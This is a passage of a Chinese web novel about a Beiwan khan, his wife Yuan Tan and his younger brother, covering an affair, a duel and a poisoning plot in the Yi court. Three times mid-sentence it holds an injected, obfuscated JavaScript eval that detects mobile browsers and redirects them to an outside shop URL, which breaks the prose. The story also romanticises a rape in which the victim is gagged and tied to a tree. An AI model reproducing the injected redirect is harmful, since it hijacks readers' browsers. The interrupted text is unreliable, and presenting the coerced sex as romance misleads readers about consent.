望山跑死马,车队向着雪山晃悠悠行驶数日,再过一道幽深笔直的山中甬道,视野赫然开阔,已抵柘枝城之南郊。 十里见方的城池,夯土为一丈高的围墙,屋舍多为圆顶或八角顶、涂成白色和金色。客商穿梭、摊贩云集、热闹非凡。王宫就在柘枝城的最北边,占地仅数百亩,城墙高三丈。 行行重行行,辎车停在王宫正南的端明门下,冯栩下马走到车前,恭声奏报:“阏氏,我们到了。” 仆从走过来,为元昙卷起车帘,扶她款款下车。踩到实地的瞬间,她忽地感觉心头一空,奔涌而出的酸涩令她窒息。偏过头看了一眼跪在车旁的冯栩,立即移回目光,轻声说:“多谢将军。” 冯栩唇角扬起一丝笑,移回与她对视的目光,低下头,率众狼卫齐齐下跪,扬声高呼:“末将不辱使命,平安接回阏氏,现率第一小队二百八十卫,向汗王复命!” 端明门的顶端,左右各有一座攒尖顶的角楼,拱卫着正中牙白色重檐歇山顶城楼,三重屋檐层层叠叠、翼然欲飞。王宫正殿、陪殿均为八角攒尖顶,金色琉璃瓦在阳光下光彩夺目。 从端明门到王宫正殿,铺着又厚又软的驼绒织金地毡。元昙站在门下,静静看着仪仗队簇拥着冯彬的步辇,浩浩荡荡走向她。 恍如隔世。 冯彬走下轿辇,对她伸出手,眉眼温柔如水:“昙儿,我等了你好久。” 有的人,总不在正确的时间出现,不是早了、就是晚了。 元昙慢慢伸出手去,与他交握,脸上挤出温婉的笑容。 . 永平六年开春之后,北宛汗王冯彬背靠大翊,在母族哲里木部的支持下,与胞弟冯栩携手,率狼卫巡游四方。 凡支持过逆王冯建、冯栋和冯松的部落,皆被血腥清洗,部落单于及其伴当、族中高过车轮的男丁尽数被杀,女眷和女奴分给随他们征战的勇士。 再召来部落中所有巴图鲁,与不服王命者一对一单挑,犯颜之人皆被冯彬或冯栩亲手诛杀。 至于那些游散的小部落,或被直接灭绝、或并入二十三部,统归柘枝王城治理。 回到草原之后,对妻儿强烈的保护欲激起了冯彬骨子里的狼性,从东一路征战到西,杀伐果决、毫不容情。 一时之间,“格日乐图”、“卓力格图”的名字如雷贯耳,响彻北宛三千里草原,外号玄鹰与白隼。 骑最快的马,舞最利的刀,喝最烈的酒,娶最美的姑娘。 大宛最西端的瓯托部落也被征服后,已是五月初。滚烫的热浪中,悬崖峭壁上绽放簇簇金黄,打马而过时,簌簌清香扑鼻而来、沁人心脾。 冯彬勒住战马,冯栩驱马靠过来,奏请先率一队狼卫回王宫,替汗王准备奉迎仪仗。每次得胜回柘枝城时,他都如此鞍前马后、尽力周全。 有如此得力的兄弟,冯彬幸甚。 目送胞弟驰马离去,冯彬再次仰头看向那簇细碎的金黄。略加思索,徒手攀上嶙峋的坚硬岩石,从崖顶采下开得最好的三枝沙枣花,策马从雪峰甬道飞驰而过,直奔柘枝王城。 穿过正殿前堂,寝殿帘幕重重,低垂着银红和石榴红、绣满银梅花的帷帐,室内陈设皆比照鹤华公主府,铺陈洁净温润的木地板,雕梁画栋,墙上开出高约半丈的圆形雕花大窗。 从雕花窗望去,后院是一片花圃,种着能在寒暑交加的北宛存活的马蔺、郁金香、格桑花、杜鹃,还有一棵精心养护的红梅树。 雕花窗下放着一架文武七弦琴,元昙跪坐窗前,弹完《凤求凰》之后,继续弹奏《长相思》。 天长路远魂飞苦,梦魂不到关山难。长相思,摧心肝。 思源跪坐在她对面,听得入神,四岁的孩子,五官已逐渐长开,神情沉静而温柔。 元昙注视着思源的脸,发了半晌愣,又偏过头看向条案。 檀木条案的案头,放着一丛沙枣花,细碎的金黄团团簇簇,簌簌清香浸润心脾,还带着冰消雪融之后的水珠。 她放下手中的花丝琵琶幽兰簪,轻声说:“你不要我,我也不想要你了,十六郎。” 然后,珍惜地拿起那束沙枣花,握在手中起身,将花束插入斟满清水的琉璃瓶中。 端明门外鼓乐齐鸣,仪仗队高呼:“汗王回驾!” 元昙不紧不慢将沙枣花在琉璃瓶中摆放好,才理了理衣袍,牵起思源的小手,走向前殿。 是夜,冯彬在王宫外举办诈马宴,以整牛席宴飨追随他巡战四方的勇士们。 北宛的大宴原始粗犷,多有女奴伴酒助兴,喝到后夜聚众宣泄者比比皆是,场面极其不堪入目。冯彬碍于身份需从头到尾坐镇,于是命仆人单独做了昇阳风格的饮食,直接送至元昙房中,并传信给她不必等自己、早些安歇。 王宫之北,广寒门外,有一片郁郁葱翠的胡杨林,有无名河流穿林而过,正值丰水期,微波澹澹、碧水潺潺。 灰白织金的斗篷铺在地上,阻隔了泥土和草叶上的露珠。元昙面向河流席地跪坐,裙摆散在地上如一朵榴花,身边的少年散漫地歪坐着,嘴里叼了根狗尾巴草。 “那些花,是哥哥的好看,还是我的好看?” 元昙下意识偏过头,瞥了一眼远处喧闹的王宫,低下头一言不发。 “这么多人给他敬酒,天不亮他回不去”,冯栩玩味地扬起唇角,继续追问,“最终插在嫂嫂案头的鲜花,是我送的、还是哥哥送的?” 腊月的雪莲、正月的山丹花、二月的高山杜鹃、三月的郁金香、四月的格桑花、如今的沙枣花…… 每次冯彬回柘枝城的前一天,她的案头总会出现一束野花,新鲜的、清新的,还凝着晨露。 每每迎出殿门,少年灼热的眼光毫不避讳地注视着她,她从不敢给予任何回应。今非昔比,这里是柘枝城、不是昇阳,冯彬也已是北宛汗王、不是寄居公主府的驸马。 她竭力压抑,极尽柔婉地逢迎冯彬,想回到举案齐眉的平静生活,那双漆黑的眼眸却总在梦里晃悠。 梦里,她不是北宛阏氏,他也不是冯彬的胞弟。 她在痛苦的漩涡中越陷越深。 上半夜,她草草用完晚膳,命仆婢熄了灯、全部退下。然后独自坐在案前,嗅着枣花清香,倾听殿外人声喧嚣,偶尔听出一声他的笑,心尖的软肉像是被什么狠狠一揪。 却只辨识到两三声他的笑,别人的喧闹像潮水淹没了他的声音。 她坐在黑暗中,怅然若失,正打算宽衣就寝时,清淡的酒气从身后环住了她。等不及她惊叫出声,一只手紧紧捂住她的嘴,拖着她站起来。然后她感觉身体一轻,已被人扛在肩头,翻窗而出。 那人虽一言不发,她却已感知到熟悉的气息。惊骇之中,抬手捂住自己的嘴,生怕发出一丝声响引别人注意。 被一路扛出广寒门,直到人迹罕至的河边,她才开始喊着“放我下来”,用力挥拳捶打着那人后背。 那人很听话地放她下来,她拔腿就往回跑,没跑出两步却被他从身后搂住,动弹不得。 她双眸蓄满泪水:“冯栩,我是你嫂嫂。” “那又怎样”,冯栩把脸埋进她颈窝,贪婪地吸着幽兰甜香,“在草原上,莫说是嫂嫂,就算是庶母都能娶。” 她无言以对,只能拼命挣扎。 冯栩力量极大,右手死死箍着她,左手解下斗篷铺在地上,然后右臂使力一甩,将她扔在斗篷上,欺身压了上去。 元昙拳打脚踢,竭力想挣开他。冯栩一手攥住她两只手腕、一膝压住她扑腾的双腿。控住她四肢后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14168293|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,低下头、狠狠吻了下去,带着酒气的舌尖在她口中恣肆。她用力咬下、咬得满嘴腥咸,却更激得他凶性大发。 直接解下盘在腰间的马鞭,将她双臂举过头顶、捆在最近的一棵树上。然后,从怀中取出一方洁净的丝巾,打算塞住她的嘴。 “按草原上的规矩,嫂嫂此时算是被我劫掠了,就算哥哥知晓、也只会找我决斗。” 她又惊又怕:“他会杀了你!“ “你在担心我?”冯栩笑了,眸中幽光流转,“嫂嫂的美貌倾城倾国,能得春宵一度,死了也值。” 轻描淡写说着,将丝巾紧紧塞入她口中。冯栩双膝跪了下来,掀开她石榴红的罗裙、褪下她亵裤,再一件一件解开自己衣袍,贴近了她。宽衣解带时,他轻柔而专注,虔诚得像是在拜神。 他身上有微苦的清香,像是新刮下的桦树皮.在她全身颤栗时,他突然抽出她口中的丝巾,听她难以自控地尖叫出声。然后,再次俯身吻住她双唇。 待她平复心绪后,他小心翼翼解下马鞭,抱住了她,将头埋在她颈窝,轻声耳语:“若我与哥哥决斗,嫂嫂希望谁赢?” 元昙痛苦而无助地闭上眼,两行泪从眼角流下。 . 烈日炎炎,垂柳葳蕤,芙蕖浮在碧玉般铺展满池的荷叶上,瓣尖微粉、晕染过渡到浅白的瓣身、淡绿的瓣根,无数盛放的花瓣簇拥着嫩黄的花蕊。 元旻靠在池边栏杆上,有一搭没一搭把玩着一枝折柳,放进口里咀嚼。 已完全尝不到苦味了。 灼烈的日光射进眼眸,照得他头晕目眩,眼前是一团又一团模糊的绿、白、粉,用力眨了眨眼,画面又重新清晰了。 眼睛也开始不好了。 觉察到有人站在身后,他头也未抬:“阿晴回来了,如何?” 元晴一瞬不瞬盯着他:“问到了,是一种蛮疆的剧毒,跟当年父王所中的毒同出一源,叫‘独活’。” 元旻双眸亮起,惊喜地转过身来:“可有办法医治?” “首代山鬼炼制此毒时并未研制解药”,元晴摇摇头,“后世的蛮族人学会了炼制金蝉,可以拔除此毒,待我去找金蝉……” 元旻眼中的神采黯淡下去:“别找了,这世上唯一的一只金蝉,主人已不在人世。阿晴,四哥再求你一件事。” 他拉着元晴径直走向上书房,斥退内卫、宦官、侍卫等人。等到确定房内只有他们了,才铺陈纸笔,蘸了些墨奋笔疾书,边写边叮嘱。 元晴被他一路扯过来,晒得满头大汗,本打算说些什么,见他如此郑重、便闭上了嘴。 “承祎太小、镇不住那帮人,把承陵过继到我名下,有大哥、姜氏和宣氏三股力量扶持,他的位置会很稳,翊国不至陷入纷争。” “暂时别管荣国了,先稳住国内局面,等完全收服了各路大军,再作筹谋。” “承陵是我看着长大的,他若即位必不会薄待嗣弟嗣妹,还有母后、九叔、大哥、阿旭,承祎承徽和承祉往后日子不会过得差。” “一定要在宗谱上将承陵记在阿英名下,才能保证她太后尊位;万一……万一朝中有变,她受到什么攻讦,你找九叔和阿旭一起,联合所有宗亲,一定要站她那边。” “她为我出生入死,又为我画地为牢二十多年,为了辅佐我推行新政,她和褚氏朝中树敌无数,我这辈子欠她太多。” “切记,我中毒之事,只能你我二人知晓,一丝风都不要透给她!” 元晴一直面带玩味地听他嘱托,听到这儿,忽然嗤笑:“你担心四嫂知道,是苻洵给你下的毒?” 元旻惊呼:“果真是他?” 元晴冷笑:“四哥,你为何说‘果真’?” 元旻目光躲闪、避开元晴的探究。 100. 陈年老醋 “他苻洵干这事都不怕人知晓,你倒要替他遮掩”,元晴目光犀利盯住他双眼,“你不希望四嫂替你复仇?还是有别的难言之隐?” 元旻噎了半晌,埋下头苦笑:“都不是,我与苻洵的恩怨,就此了结便罢。我希望阿英一世安乐顺遂,或爱或恨,都不要再与苻洵有半分牵扯。” 元晴唇角噙着冷笑:“你只是不想四嫂继续与苻洵牵扯。我倒觉着四嫂早已放下苻洵,真正忘不掉苻洵的人、其实是四哥你。” “你既然心里过不去,当初何必娶她?” 元旻眼中满是不甘,隐隐透出愤恨:“我隐忍十几年,终于求到赐婚、夺得权力,结果她说她想寻找自己,我只能继续苦等,等了大半年,终于等到堂堂正正娶她进门。” “末了末了,她压根不拿我当回事。劝我纳妾也罢了……成婚四年多,无论我怎么胡来,她都不气不恼、温声细语,要多懂事有多懂事。” “她对你不一直这样吗,你那阴晴不定的脾气,谁敢拿九族跟你不懂事?”元晴不耐烦地打断他,嫌弃地嘀咕,“我听了半天,只听出四嫂无半分可指摘的,倒是你一天到晚没事找事。” 元旻眼尾泛红:“她出身低微、家世不显我全都不在意,扛着压力费尽心思娶到她,又为她空置六宫,不是为了让她待我这样……这样举案齐眉。” 闭上眼,脑中浮现的是除夕夜,红梅树下笑语晏晏、又俏皮又自在,那是他从不曾见过的她。 元晴搬了把椅子坐到他身边,笑吟吟盯向他:“你不说,我根本看不出苻洵与四嫂有何干系,他们俩总共也没见过几次。你笃定他们曾互生情愫就罢了,怎么还老觉得自己争不过苻洵?” 元旻攥紧手掌,手背青筋暴突,将笔杆子捏得咯吱乱响,深吸一口气,竭力平复心绪。 “我与她青梅竹马十几年,她才对我动了心,他苻洵一介声名狼藉的浪荡子,与她寥寥数面,居然随随便便就能撩拨得她喜笑颜开,凭什么?他也配?” “中毒的事你爱说不说”,元晴翻了翻白眼,怒声道,“我看你就是被惯的,有这吃陈年老醋的工夫,还不如好好跟四嫂过日子,再过个十年八年,你自己都会笑话自己。” “说的像是我不想……不对”,元旻搁下笔,直勾勾盯着她,“你这话是何意,还有救,怎不早说?” 元晴耸耸肩,撇嘴道:“你一直忙着交代后事和吃醋,何时给我机会说话了?” “那金蝉,是不是拇指头大小、形如蝉、会飞,身带柔和金光;蛊王蚩越是不是年过六旬,穿一身蓝布衫”,她左右扫视了一眼,似笑非笑觑着兄长脸色,“他还活着,而且与我很熟,只是前几年走丢了。” 元旻疑惑道:“什么叫走丢了?” “他本来随我游历四方,那年入龙骨关,来迎接我们的是苻洵。然后,他就消失了。” 元晴冷笑:“如我所料不差,当年苻洵给你下毒后,为绝后患杀了自己亲外公,他却不知本命金蝉可护住蛊主生机。八个月后,我与紫菀游历蛮疆,以禁术拉回了蚩越性命。” “又启用禁术,你有几条命?”元旻忍不住喝斥。 “凶什么凶?这不就用上了”,元晴不屑撇嘴,“我也不知他是否真的失忆,但见到杀自己的凶手,还晓得马上退避,这样的人瞧着怯懦,却往往会活得长久。” 元旻叹了口气:“人都走丢了,哪怕去寻,也不知要耗费多少时日,不知我是否能撑到那天。” “这就不劳你操心啦”,元晴笑吟吟从袖中取出一个物件,晃了晃扔到他眼前,“好歹是蛮黎两族的神,虽未研制解药,把毒性压制几年不是问题。” 那是一只碧绿的蝴蝶,材质如翡翠,触手沁凉润泽。举到灯下细看,好似有丝缕云岫氤氲,缓缓游弋其中,光影交错、这蝴蝶竟似活了过来。 “此为‘琥珀翠’,乃山鬼凝聚山林之清气、封入翡翠之中而成,可抑制毒素蔓延,此中清气至少可撑五年。五年期满之前,我再去蛮疆替你弄一块来。” 元晴伸手从他腰间摘下一个香囊,指导说:“放在心口贴肉处效果最好,此物不可穿孔,缝个结实的香囊装起来。” 想了想继续叮嘱:“最好是纯丝绸的,就算要绣什么玩意儿,也最好用丝线和羽线。切记,别用一根金丝银线。” 元旻不解:“为何?” 元晴用看傻子的目光盯着他:“山林清气属木,金克木。所以啊,出门的时候戴好护心镜,莫让琥珀翠沾染兵戈。你一身好武艺,这我倒不担心,对了……” 她又从袖中取出一个白锦袋:“这护心丹是我跟山鬼联手炼制,每粒可替你撑住生机五天。我算了一下,从大翊疆域内最远的地方、昼夜不停地赶回凰羽寺,差不多要二十多天。我们炼了五粒,多了也没有。” “所以,若有不适,立即快马加鞭回来,凰羽寺有法子护住你。” 她说的轻描淡写,元旻却知道,每一粒必然炼得艰辛无比,不然何至于多一粒也没有。 忙问她:“寻人的事,不若我把玉衡那队人交给你,他们最擅长做这些?” “好啊好啊,省得我一个人到处乱跑”,元晴笑逐颜开,大大咧咧一挥手,“四哥不必过于忧心,该干嘛干嘛。就算找不着那人,回头我再入蛮疆找山鬼……” 元旻以为她接下来会说“继续想办法”之类的,却听她悠悠道。 “我就不信她的天分比不过蛊王,饱饱揍她一顿,就知道怎么炼金蝉了。谁叫她祖上犯懒,只晓得制毒药,不晓得制解药!” . 翊国一向重视对军队的控制,太祖长懋定有“一年一小巡,三年一大巡”的规矩。 一年一小巡,是指国君每年亲自动身,或派遣太子、心腹重臣对一些重点军营进行检阅巡视;三年一大巡,是指国君与太尉或国尉一并出动,巡视犒赏国境内所有大营。 大巡一般在夏、秋两季,何时出发、路线如何、从严从宽全由国君自定。但按常理,要一路巡完所有大营。 “祖宗规矩啊……当翊国的王,费人”,舜英弯腰埋头,专注地对付绣绷子和细如牛毛的针,“快帮我想想,绣什么好?凤凰、重明、青鸾之类的太难绣了。” 元旻在纸上慢慢描着绣样,一朵海棠、一朵木槿相依相偎,簇拥着几片绿叶,两大一小,不多不少正好三片。他注视片刻笑了,又换一只细笔蘸淡绿颜料,在三片墨绿叶子的旁边、轻轻点上细小的一叶嫩绿。 舜英难以置信地睁大双眼、露出惊恐,旋即恢复平静,挤出温婉微笑。 “你自己不上心,昨天御医请平安脉时说已有两个多月”,元旻含笑道,“这次巡军就不要去了,好生休养。” 舜英点点头,将光亮如昼的琉璃灯拉得更近了些,劈丝后穿进细如毛发的绣花针,有一搭没一搭地绣着,心不在焉强笑道:“不愧是凰羽寺的祈福玉佩,不能穿孔、袋子还不能用一根金线,幸亏花样子简单,不然劈丝都得把眼睛看花。” 元旻松了口气:“最近没看到阿晴,又去游历了?” 舜英不假思索:“又去灵昌了。” “灵昌?又?”元旻呆住了,难以置信地问,“她经常往灵昌跑?” “她没跟你说过?” 舜英有些讶异,转念一想宽慰道:“阿晴去灵昌一定自有道理。中元节要到了,这是萧王后过世的第三年,至关重要,苻沣想好生操办一场祭祀,阿晴也想去。苻萱自从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14176717|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫁入昇阳从未归宁,于是她们结伴去了。” 元旻眉头微蹙:“元晢和承曙也去了?” 舜英摇摇头:“元晢在太常寺有职,原是上了奏表要一同回去。不知怎的,回家一晚上转了心思,只加派了府兵护送苻萱,元晢他们还在昇阳。” 元旻疑虑稍散,正色道:“阿英,这次巡军,我怕是要在西三营多花些时间。” 舜英会意,沉默许久后,试探着说:“阿旻,褚氏一族在朝中太过显赫,我考校过他们才干,担当不起那些要职。” 元旻绽出笑容、眼中放出异样的神采:“我这辈子只要你,只想把最好的给你、褚氏沾些光又有什么?我说他们担得起,就担得起。” 舜英打了个寒噤,迅速平息眉间忧虑,酝酿半晌、竭力平静地说:“褚氏发迹不久,犹如穷人乍富,未免有些行为不端,还请责罚,莫要恩宠太盛。” 元旻笑意更深,目不转睛注视她双眼:“有我在、你只管放心,他们都是你的至亲,我定会好好护住他们。” 舜英的心缓缓沉到谷底,觑着他脸色、却不好继续说下去。 别过脸看着花圃,茉莉花摇曳着碎玉琼枝,星星点点萤光在枝叶间浮动,她盯了半晌,将眼里泪意憋回去后,挤出一个微笑:“阿旻,我绣香袋很辛苦的,你拿什么谢我?” 元旻顺着她目光看去,会心一笑:“明天就动手,用透光的素纱糊几只灯笼,两只大的给咱们,四只小的给孩子们拿着,一起去后苑捉萤火虫。” 见她终于又眉开眼笑,不禁莞尔,抽走她手中绣绷子:“大晚上的伤眼睛,天亮了再绣。不急,绣好了我再出发。” 扶着她在妆台前坐下,替她拔掉坠马髻上不多的几支珠钗,和那支尾部七朵紫色木槿的彩玉簪。 她重信守诺,从珪山大渡口接过这支木槿簪开始,除了少许规制严苛的典礼,几乎每天都戴着。 那支木槿彩玉簪,与她满头乌发厮磨七年,透出越来越柔润的光。 . 雪白纱帐飘飘转转,带起一阵又一阵幽兰馥郁、与香炉里飘出的清甜梨香交融。 这是北宛王宫的一座陪殿,冯彬专门腾出来给冯栩作寝殿。 冯栩尚未娶妻,且不像其他土生土长的草原男儿一般,每次胜仗后都选几个漂亮女人陪夜。明明才十九岁,于女色之事却冷若冰霜,似乎再漂亮热情的女人都激不起他的兴趣。 而此刻,这个冰块般的少年正斜靠在软枕上,臂弯里躺着姿容绝世的女人。地板上和榻上七零八落地,散落着钗环、发簪、腰带、外袍、罗裙…… 他们的鬓发都披散在颊边、香肩上、胸前,与对方的发丝纠缠在一起。 香炉倾吐出袅袅白烟,似流水般越聚越多,满屋子清润的甜香闻得人熏熏欲醉。 “这就是你喜欢的鹅梨帐中香?果然别致。”冯栩伸手轻轻摩挲她香腮,他的手指修长、生了层薄茧,带来恰到好处的力道和触感。 元昙没回答,只静静望着攒尖的帐顶。 冯栩侧过脸吻她的额头,声音轻而坚决:“我将在七月的那达慕节,向哥哥挑战。” “我们就这样好不好”,元昙哀求地看着他,眸中含泪,颤声问,“你们是同母的亲兄弟,为什么一定要斗个你死我活?” 冯栩眸中幽光流转:“因为我不想再叫你‘嫂嫂’,我不想你每次和我相会之后匆匆离开,每天夜里都要与他睡在一起。” “我想在正殿那张大床上和你过夜,我想让你光明正大为我生儿育女,我希望别人称你为‘阏氏’时、站在身边的是我。” 顿了顿,他定定注视着她,一字字重复那个问题:“我跟哥哥决斗时,你希望谁赢?” 101. 多情误 元昙定定注视着他,他漆黑眸子里的寒意将她紧紧包裹,屋内的甜香熏得她头昏脑胀。 “我不希望你死,也不希望他受到伤害”,许久之后,她艰涩地回复,“你们不要争斗,除了这件事,别的我都可以答应。” 冯栩侧过身,撑臂歪坐起来,居高临下凝视她许久,冷笑出声:“呵!狡猾的中原女人!” “既然你说别的可以答应,那就替我生两个孩子吧,就像你曾经与你的中原情郎那样。” 元昙惊恐地睁大双眸:“你在说什么?” 冯栩不疾不徐地解释:“我在说,思源和思洛不是哥哥的孩子,是你跟情郎生的。” 元昙惊得弹坐起来,疯狂摇头否认:“不!我没有,你胡说!” 冯栩的笑容冰冷,言语就像利刃,一点点剖开她仅存的侥幸:“乍一眼确实看不出来,以前你身边没几个草原长大的人,所以未曾注意。况且,你那情郎的眼睛应该很好看,比哥哥的更好看,而且眼型很相似。” “玲珑秀气的鼻子,轮廓也很清秀,是个美男子,嫂嫂眼光真好。” “可是——我的嫂嫂,你难道从没有细看过我、哥哥、你的嫡母,还有你那流着一半草原血统的嫡兄?” “我们的鼻子,全都比中原人高些,嘴唇都很薄。而且,北宛人血统强韧,不管与哪位中原人结合,后代统统是高鼻薄唇。” “所以,你是如何与我那高鼻薄唇的哥哥,生下这两个瓷娃娃般精巧的孩子?” 元昙如坠冰窟,脑子里一张张面孔转来转去,冯姮、元旻、冯彬,甚至是承祎、承徽、承祉……高挺的鼻梁,紧抿的薄唇。 冷汗滴落,将单薄的纱衣浸透,紧贴在身躯上。冯栩喉头滚动了几下,伸臂将她摁回榻上,欺身覆压上去,呼吸粗重而急促。 “嫂嫂可以这样对他,为何不能这样对我,他哪里比我好?” “嫂嫂可曾想过,哥哥可不是纯粹的草原男人。他现在还未察觉,若他知道了真相,会怎样处置那两个孩子?” “你带着他们嫁给我,我可以名正言顺成为他们的阿瓦,保护他们。” 元昙被他轮番言语冲得头晕目眩,徒劳地摇头重复:“你不能伤害阿彬。” “你若非要与他决斗,就先从我尸体上踏过去!”她下定决心,拔出他随意扔在枕边的错金刀,将刀锋贴上自己细嫩的脖颈。 冯栩呆住了,想夺下她手中的刀。岂料刚有动作,她立即毫不犹豫将刀锋往里切了一分,滚落一串血珠。 他眼圈红了,挤出个笑脸:“为什么,你明明不喜欢哥哥,却愿意为了保护他而死?” 元昙举着贴紧脖颈的刀,推开他,缓缓站起来,一件件拾起地上的衣袍、笨拙而仔细地穿好。 “我私会情郎、罔顾人伦,算不得什么好女人,可我是大翊的公主。” “我的责任,就是当他的阏氏,替我的母国扶植他、维护他。” 冯栩注视着她,这个曾躺在他身边说着绵绵情话的柔媚女人,此刻一身凛然、义正言辞。他像听到天大的荒唐事,放声笑起来、笑得浑身发颤。 “从思源的岁数看,你与那位情郎先相识的吧,甚至——他是你的挚爱。” “他一定很好看,也很强大,唯有如此,才能迷住你这样高贵美丽的女人。” 元昙猝不及防,失声惊呼:“够了!” “不够”,冯栩笑容比霜雪更冷,“你与他在一起很开心吧?至少比跟哥哥在一起开心,不然怎么婚后还与他一个接一个生孩子?” “如果不是需要与北宛联姻,你可能都与他双宿双飞了。” 元昙浑身发颤,捂住双耳尖叫:“我让你别说了!” 冯栩冷眼欣赏着她的张惶失控,眼中蓄满泪水,恨意浓得化不开,冷笑着吐出的每个字,都像淬了毒。 “你怕了?不敢听?我偏要说。” “你的责任……” “对活生生拆开你和情郎,为了维系国家安稳,把你卖给异国质子的——母国?” “对夺了你生母的王后宝座,再害死你生母、胞兄胞弟,然后满手鲜血登上王位的嫡母和嫡兄?” 元昙惊恐大喊,慌乱地逃向房门,双手攥住门把手、竭尽全力拉开,然后僵在门口。 她看到了此生最恐怖的场景—— 瑰丽的晚霞映照在王宫的琉璃顶上,她的夫君正眉眼带笑穿过广场走向正殿,他身后卫士抬着的狼、野兔等猎物尚自滴着血,显然是场满载而归的狩猎。 听到这边响动,他诧异地侧头看过来,笑容僵在脸上。 柘枝城阳光炽烈,每座宫殿门前都有一段拱顶门廊,长约两丈。 冯彬看到,他的妻子正从胞弟的寝殿冲出来,衣衫不整、鬓发凌乱。屋内和门廊都未掌灯,暮色中他看不清妻子的神情,却从她慌乱急切的动作中看出了恐惧。 他忘了斥退卫士,攥紧手中长剑快步走向陪殿。 屋内的冯栩看到此景,拿过一壶酒灌进嘴里,再不疾不徐地站起来、捡起衣袍一件件穿好,走到门口轻声说“忍着些”。 然后扬手、挥拳,毫不怜惜地击向眼前玉软花柔的女人。 短短须臾,冯彬已走到门口,左手拉过满身淤伤的元昙搂进怀里,右臂攥紧拳头、照着冯栩左脸便是狠狠一拳,同时一脚踹出。 冯栩被那一拳一脚揍得倒退了几步,抚了抚被打肿的脸,一脸迷茫地看向门外之人,好似宿醉刚醒。 冯彬双目赤红、双唇剧烈颤抖,张了张嘴什么都说不出来。 冯栩目光扫过冯彬和元昙、门外卫士,若无其事的笑了:“哥哥先前不是说要重赏我么?” 他举手,指向冯彬怀里瑟瑟发抖的女人,平静地说:“我想好了,就要她!” “我不要别的赏赐,只要这个女人。” 几个卫士面面相觑,站在那儿走也不是、不走也不是。 冯彬双眸凛若寒霜,脸色阴沉得像要滴水,解下披风围住元昙、推开她,举起手中长剑,冷声道。 “你不是中原人,我也不与你讲什么礼义人伦。今日,我们兄弟就按北宛的规矩,决斗吧!” 元昙惊恐地睁大了双眼。 冯栩毫不迟疑,回屋拿起靠在床头的长刀,铿锵有力地、一字一字道。 “长生天为证,我卓力格图,今日在此,向兄长格日乐图提出挑战,不死不休!” 长刀、长剑同时出鞘。 长刀旋出一弯霜冷的月牙,剜向冯彬;长剑挥舞如翩翩飞虹,刺向冯栩。 长剑逼近时,冯栩的目光从她身上一扫而过,唇角扬起一抹笑意,用仅三人能听到的声音,轻声说:“看好了,我答应你。” 然后松开了右手。 冯栩手中的长刀似一片雪花、颓然坠地,而冯彬手中长剑去势急促、锐不可当。 电光火石间,元昙纵身一倾、将冯栩撞开,挡在他原先站立的位置。 森凉的剑光没入她的胸膛,激起一簇血花、迅速盛开又凋落。 冯彬难以置信地睁大双眼,松开手中长剑、惊恐地倒退了几步,怔怔注视着被他亲手刺伤倒地的爱妻、抱住他的爱妻恸哭的胞弟。 他在这世上最信任、珍爱的两个人。 他什么都明白了。 转过身、背过脸,仰头看向晚霞尽散、沉入暮色的天空,双目酸涩而灼热。 她美丽、聪慧,全身是刺,高冷得不染纤尘,面对他的时候连笑都极少,遑论像别的夫妻那样坐下来、温言细语推心置腹。 也曾心累不堪,也曾想一别两宽。 可他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14187768|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舍不得,她是他最晦暗时的那束光,是他无数梦里仰望过的仙子。 后来啊,孩子一个个出生,她对他态度温和了些,他欣喜若狂。 默不作声、心怀侥幸地与她挨过年年岁岁。 今日方知,她知道何为深情、何为恩爱,只是那些柔情从来不会施舍他半分。 . 永平六年六月十四,北宛汗王冯彬携阏氏狩猎,突遇兽群袭击,因狼卫保护不力、致使阏氏重伤。同行狩猎的护卫全部军法处置,同时革除狼卫统领冯栩之职,将其放逐到乌兰山中段、邻近朔门关的耶拉部。 阏氏元氏因伤势过重,需幽居静养,闭门谢客。 “长公主出阁前才学会骑马,怎会贸然跟去狩猎,大白天哪来的兽群?”冯睢蹙眉看着桌上摊开的线报,越想越不对劲,厉声质询,“冯彬究竟做了什么,是否欺凌长公主?” 湛卢无奈地摊手:“统领交待咱们转告延恩侯,此事过了就过了,莫再追究。” “兽群……王后重伤……幽居……冯栩……” 冯睢喃喃自语,凝眉思忖半晌,眼瞳突然放大,许久之后才平复心绪,只轻声问:“长公主伤势如何?” 湛卢摇摇头:“其实不算重,统领的意思是,等过些时候长公主醒了,还请延恩侯去探视一下,向长公主建言何为‘联姻’、何为‘家国’。” 冯睢苦笑:“毕竟不是什么光彩事,还是个女儿家,必须得报给王上么?” 